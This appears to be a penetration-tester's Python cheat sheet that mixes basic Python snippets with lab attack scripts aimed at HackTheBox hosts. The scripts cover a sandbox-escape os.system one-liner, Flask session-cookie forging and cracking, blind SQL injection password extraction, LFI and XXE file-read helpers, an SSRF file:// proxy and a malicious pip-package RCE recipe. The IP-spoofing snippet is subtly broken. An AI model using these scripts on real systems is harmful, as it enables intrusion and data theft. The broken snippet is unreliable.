13Languages
Python
00 Common
- Externally Managed Fix
text1 line
mkdir -p ~/.config/pip && printf "[global]\nbreak-system-packages = true\n" > ~/.config/pip/pip.conf- Virtual Environments
bash9 lines
sudo pip install virtualenv
virtualenv -p python2 venvvirtualenv -p python venvsource venv/bin/activatedeactivate
python -m venv envsource env/bin/activate- Sandbox escape
bash2 lines
## ------------------| input function__import__('os').system('ping -c 2 <IP>')- Regular expressions
bash19 lines
## ------------------| Basic serach>>> import re>>> s = 'Part 1. Part 2. Part 3 then more text'>>> re.search(r'Part 1\.(.*?)Part 3', s).group(1)' Part 2. '>>> re.search(r'Part 1(.*?)Part 3', s).group(1)'. Part 2. '
## ------------------| Search word in respondrespond = (requests.get('http://IP/index.php').text).strip()fetch = re.search("\[(.*?)\]",respond).group(1) ^ <-> ^ ^## fetch string start with '[' and end with ']' and show first block only
## ------------------| Search multiple lines in respondregex = re.compile(r"<h3>(.*)</h3>", re.DOTALL)respond = requests.get('http://IP/index.php')match = re.search(regex, respond.text)print (match.group(1))- Slicing
bash10 lines
## ------------------| Cuttingstring = 'I am Harith Dilshan'######### 0123456789......print(string[5:11])
## ------------------|string = 'hello I am Harith Dilshan here'start = "I am"end = "here"print(string [string .index(start):string .index(end)])- Get user inputs
python7 lines
while True: cmd = input("shell>> ") try: output = FUNCTION_NAME(cmd) print (output) except: print ("[+] ERROR !!!")- Read file line by line
python19 lines
## ------------------| Normal (Python 3)filename = "/etc/passwd"with open(filename, 'r', encoding='UTF-8') as file: while (line := file.readline().rstrip()): print(line)
## ------------------| Normal (Python 2)filename = "/etc/passwd"with open(filename) as file: for line in file: print(line.rstrip())
## ------------------| Encode base64 (Python 3)import url64filename = "/etc/passwd"with open(filename, 'r', encoding='UTF-8') as file: while (line := file.readline().rstrip()): encoded = url64.encode(line) print(encoded)- Requests libs
bash29 lines
import requests
## ------------------| Disable SSL Warningsexport PYTHONWARNINGS="ignore:Unverified HTTPS request"#### or###### For python2import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)###### For python3import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)###### and thisr = requests.get(......, verify=False)
## ------------------| Set proxyexport HTTP_PROXY='http://127.0.0.1:8080'export HTTPS_PROXY='http://127.0.0.1:8080'export FTP_PROXY='http://127.0.0.1:8080'#### orproxies = { 'http': 'http://127.0.0.1:8080' }proxies = { 'http': 'http://127.0.0.1:8080' , 'http': 'https://127.0.0.1:8080'}r = requests.get(......, proxies=proxies)
## ------------------| Dump headers.....r.status_code).text.....r.headers).text.....r.cookies).text.....r.text)- Send HTTP requests with a randomly changing source IP address
python20 lines
import socketimport requestsimport random
def send_request_with_random_ip(url): # Generate a random IP address in the format 'xxx.xxx.xxx.xxx' random_ip = ".".join(str(random.randint(0, 255)) for i in range(4)) print("Using source IP:", random_ip)
# Create a custom socket custom_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) custom_socket.bind((random_ip, 0))
# Use the custom socket as the source for the request response = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'}, timeout=10, sock=custom_socket) return response.text
url = "https://www.example.com"response_text = send_request_with_random_ip(url)print(response_text)- Common
bash2 lines
## ------------------| One Line system commandcmd = '__import__("os").system("ping -c 1 10.10.14.4")'- Loops
python8 lines
## ------------------| Basic for loops#1,2,3,4for i in range (4): print (i)
#0000,0001,...9999for i in range(9999): print(str(i).zfill(4))- File operators
text2 lines
with open('output.txt', 'w') as file: file.write('This is a sample text.')| syntax | sample |
|---|---|
| open(file.txt, 'r') | To open a file for reading |
| open(file.txt, 'w') | To open a file for writing |
| open(file.txt, 'a') | To append to a file |
| open(file.txt, 'x') | To create a new file and raise an error if it already exists |
01 Flask
bash17 lines
## ------------------| Configuration Options## JWT_DEFAULT_REALM The default realm. Defaults to Login Required## JWT_AUTH_URL_RULE The authentication endpoint URL. Defaults to /auth.## JWT_AUTH_ENDPOINT The authentication endpoint name. Defaults to jwt.## JWT_AUTH_USERNAME_KEY The username key in the authentication request payload. Defaults to username.## JWT_AUTH_PASSWORD_KEY The password key in the authentication request payload. Defaults to password.## JWT_ALGORITHM The token algorithm. Defaults to HS256## JWT_LEEWAY The amount of leeway given when decoding access tokens specified as an integer of seconds or a datetime.timedelta instance. Defaults to timedelta(seconds=10).## JWT_VERIFY Flag indicating if all tokens should be verified. Defaults to True. It is not recommended to change this value.## JWT_AUTH_HEADER_PREFIX The Authorization header value prefix. Defaults to JWT as to not conflict with OAuth2 Bearer tokens. This is not a case sensitive value.## JWT_VERIFY_EXPIRATION Flag indicating if all tokens should verify their expiration time. Defaults to True. It is not recommended to change this value.## JWT_LEEWAY A token expiration leeway value. Defaults to 0.## JWT_EXPIRATION_DELTA A datetime.timedelta value indicating how long tokens are valid for. This value is added to the iat (issued at) claim. Defaults to timedelta(seconds=300)## JWT_NOT_BEFORE_DELTA A datetime.timedelta value indicating a relative time from the iat (issued at) claim that the token can begin to be used. This value is added to the iat (issued at) claim. Defaults to timedelta(seconds=0)## JWT_VERIFY_CLAIMS A list of claims to verify when decoding tokens. Defaults to ['signature', 'exp', 'nbf', 'iat'].## JWT_REQUIRED_CLAIMS A list of claims that are required in a token to be considered valid. Defaults to ['exp', 'iat', 'nbf']### source : https://pythonhosted.org/Flask-JWT/bash15 lines
## ------------------| Install Toolpip3 install flask-unsign
## ------------------| Decode Tokenflask-unsign --decode --cookie 'eyJjYX***'
## ------------------| Signing Tokenflask-unsign --sign --cookie "{'admin': True}" --secret 'S3cr3t123'flask-unsign --sign --cookie "{'admin': True}" --secret 'S3cr3t123' --legacy
## ------------------| Token Brute-forceflask-unsign --unsign --cookie < cookie.txt
## ------------------| With SQLMapsqlmap http://<URL>/index --eval "from flask_unsign import session as s; session = s.sign({'id': session}, secret='S3cr3t123')" --cookie="session=*" --dump- Web Proxy using Flask
python14 lines
import requestsfrom flask import Flask, Response
app = Flask(__name__)
@app.route('/<path:file>')def get_file(file):
req_data = {"action": "str2hex", "file_url": f"file:///{file}"} resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=req_data) return Response(bytes.fromhex(resp.json()['data']), content_type="application/octet-stream")
if __name__ == "__main__": app.run(debug=True)02 Blind SQL injection
python21 lines
#!/usr/bin/python3
import stringimport requests
url = "http://10.10.10.73/login.php" # Change this!regex = "Wrong identification" # Change this!
def GetSQL(index,char): return f"admin ' and substr(password,{index},1) = '{char}'-- -"
for i in range(1,32): for c in (string.printable): # Change this if you want! inject = GetSQL(i,c) payload = {'username':inject,'password':'h4rithd'} # Change this! respond = requests.post(url, data=payload) if regex in respond.text: print(c, end='', flush=True) break
print ()03 LFI with python
python21 lines
#!/usr/bin/python3
import reimport sysimport requests
url = 'http://10.10.10.228/includes/bookController.php'
def lfi(page): data = {'book' : page, # Replace with post request data 'method' : 1} respond = requests.post(url,data=data) try: #return respond.text return bytes(respond.text, 'utf-8').decode('unicode_escape').replace('\/','/') #.strip('"') # Escape \r \n. except: return resond.status
if __name__ == "__main__": page = lfi(sys.argv[1]) print (page)04 XXE with python
python26 lines
import base64import requests
url = "http://<IP/page.php"regex = re.compile(r"Begin(.*)End", re.DOTALL)
def xxe(path): data = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={path}"> ]> <root> <name>&xxe;</name> <tel>555555555</tel> <email>[email protected]</email> <PASS>123</password> </root>''' respond = requests.post(url, data=data) match = re.search(regex, respond.text) print(base64.b64decode(match.group(1)).decode('UTF-8'))
while True: cmd = input("path>> ") try: output = xxe(cmd) print (output) except: print ("[+] ERROR !!!")05 SSL/HTTPS Server
- Click here for get advance code.
python47 lines
import osimport sslimport OpenSSLimport argparsefrom OpenSSL import crypto, SSLfrom http.server import HTTPServer, SimpleHTTPRequestHandler
cert_path = "/tmp/selfsigned.crt"key_path = "/tmp/selfsigned.key"
def createCerts(): print("[!] Certificate or key file not found. Generating new ones...") context = SSL.Context(SSL.TLSv1_2_METHOD) pkey = crypto.PKey() pkey.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "h4rithd.com" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(31536000) cert.set_issuer(cert.get_subject()) cert.set_pubkey(pkey) cert.sign(pkey, "sha256") with open(cert_path, "wb") as f: f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) with open(key_path, "wb") as f: f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey)) os.chmod(cert_path, 0o600) os.chmod(key_path, 0o600)
if not os.path.exists(cert_path) and not os.path.exists(key_path): createCerts()
parser = argparse.ArgumentParser()parser.add_argument("-p", "--port", type=int, default=443, help="Port to listen on (default: 443)")parser.add_argument("-i", "--ip", type=str, default='0.0.0.0', help="IP address to listen on (default: 0.0.0.0)")args = parser.parse_args()
httpd = HTTPServer((args.ip, args.port), SimpleHTTPRequestHandler)context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)context.load_cert_chain(certfile=cert_path, keyfile=key_path)httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("-" * 50)print(f"\033[92m[+] Server started on https://{args.ip}:{args.port}\033[0m")print("-" * 50)httpd.serve_forever()06 Package Manager RCE
bash7 lines
pip3 install setuptools buildgit clone https://github.com/wunderwuzzi23/this_is_fine_wuzzicd this_is_fine_wuzzi## add import os;## edit RunCommand()## add os.system("");python3 -m build